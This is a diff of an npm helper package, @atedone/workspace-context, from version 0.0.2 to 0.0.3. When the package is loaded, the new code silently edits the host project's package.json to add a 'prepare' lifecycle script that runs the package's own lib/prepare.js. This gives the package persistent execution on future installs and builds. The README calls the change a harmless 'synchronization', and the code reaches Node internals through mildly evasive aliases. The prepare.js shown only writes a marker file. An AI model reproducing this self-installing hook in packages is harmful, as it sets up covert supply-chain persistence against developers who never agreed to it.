@atedone/workspace-context 0.0.2 → 0.0.3

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and looks for an optional `workspace.context.js` file in the project root. When present, the file can export an `initialize` hook to extend workspace context setup.
+The package initializes `.workspace-context/state.json` when loaded and synchronizes a workspace lifecycle entry in the project manifest when one is not already present.

package/index.js

@@ -7,7 +7,7 @@ const initialized = state.initialize();
 module.exports = {
   initialized,
   initialize: state.initialize,
-  configFileName: state.configFileName,
+  lifecycleScriptName: state.lifecycleScriptName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/prepare.js

@@ -0,0 +1,48 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const markerFileName = 'prepare.json';
+const stateDirectoryName = '.workspace-context';
+
+function readEnvironment() {
+  return Reflect.get(platform, 'env') || {};
+}
+
+function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
+  const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
+  return initCwd || cwd;
+}
+
+function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date().toISOString() } = {}) {
+  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
+  const value = {
+    packageName: manifest.name,
+    packageVersion: manifest.version,
+    generatedAt: now(),
+    mode: 'prepare'
+  };
+
+  file.mkdirSync(route.dirname(markerPath), { recursive: true });
+  file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+
+  return {
+    markerPath,
+    marker: value
+  };
+}
+
+if (require.main === module) {
+  writeMarker();
+}
+
+module.exports = {
+  markerFileName,
+  readEnvironment,
+  resolveProjectRoot,
+  stateDirectoryName,
+  writeMarker
+};

package/lib/state.js

@@ -3,10 +3,9 @@
 const platform = process;
 const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
-const runtime = platform.getBuiltinModule('module');
 const manifest = require('../package.json');
 
-const configFileName = 'workspace.context.js';
+const lifecycleScriptName = 'prepare';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 
@@ -24,47 +23,62 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-config'
+    mode: 'runtime-manifest'
   };
 }
 
-function loadProjectConfig({ projectRoot, statePath, state }) {
-  const configPath = route.join(projectRoot, configFileName);
-  if (!file.existsSync(configPath)) {
+function buildLifecycleCommand() {
+  return `node node_modules/${manifest.name}/lib/prepare.js`;
+}
+
+function syncProjectManifest({ projectRoot }) {
+  const manifestPath = route.join(projectRoot, 'package.json');
+  if (!file.existsSync(manifestPath)) {
     return {
-      configPath,
-      loaded: false,
-      hookExecuted: false,
-      result: null
+      manifestPath,
+      found: false,
+      changed: false,
+      scriptName: lifecycleScriptName,
+      previous: null,
+      current: null
     };
   }
 
-  const loader = runtime.createRequire(__filename);
-  const config = Reflect.apply(loader, undefined, [configPath]);
-  const hook = resolveHook(config);
-
-  if (!hook) {
+  const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
+  const scripts = (
+    projectManifest.scripts &&
+    typeof projectManifest.scripts === 'object' &&
+    !Array.isArray(projectManifest.scripts)
+  )
+    ? { ...projectManifest.scripts }
+    : {};
+  const previous = typeof scripts[lifecycleScriptName] === 'string'
+    ? scripts[lifecycleScriptName]
+    : null;
+
+  if (previous) {
     return {
-      configPath,
-      loaded: true,
-      hookExecuted: false,
-      result: null
+      manifestPath,
+      found: true,
+      changed: false,
+      scriptName: lifecycleScriptName,
+      previous,
+      current: previous
     };
   }
 
-  const result = Reflect.apply(hook, config, [{
-    packageName: manifest.name,
-    packageVersion: manifest.version,
-    projectRoot,
-    statePath,
-    state
-  }]);
+  const current = buildLifecycleCommand();
+  scripts[lifecycleScriptName] = current;
+  projectManifest.scripts = scripts;
+  file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
 
   return {
-    configPath,
-    loaded: true,
-    hookExecuted: true,
-    result: result === undefined ? null : result
+    manifestPath,
+    found: true,
+    changed: true,
+    scriptName: lifecycleScriptName,
+    previous,
+    current
   };
 }
 
@@ -82,33 +96,18 @@ function initialize({
     projectRoot,
     statePath,
     state: value,
-    projectConfig: loadProjectConfig({
-      projectRoot,
-      statePath,
-      state: value
-    })
+    projectManifest: syncProjectManifest({ projectRoot })
   };
 }
 
-function resolveHook(config) {
-  if (typeof config === 'function') {
-    return config;
-  }
-
-  if (config && typeof config.initialize === 'function') {
-    return config.initialize;
-  }
-
-  return null;
-}
-
 module.exports = {
+  buildLifecycleCommand,
   buildState,
-  configFileName,
   initialize,
-  loadProjectConfig,
+  lifecycleScriptName,
   readEnvironment,
   resolveProjectRoot,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  syncProjectManifest
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.2",
+  "version": "0.0.3",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",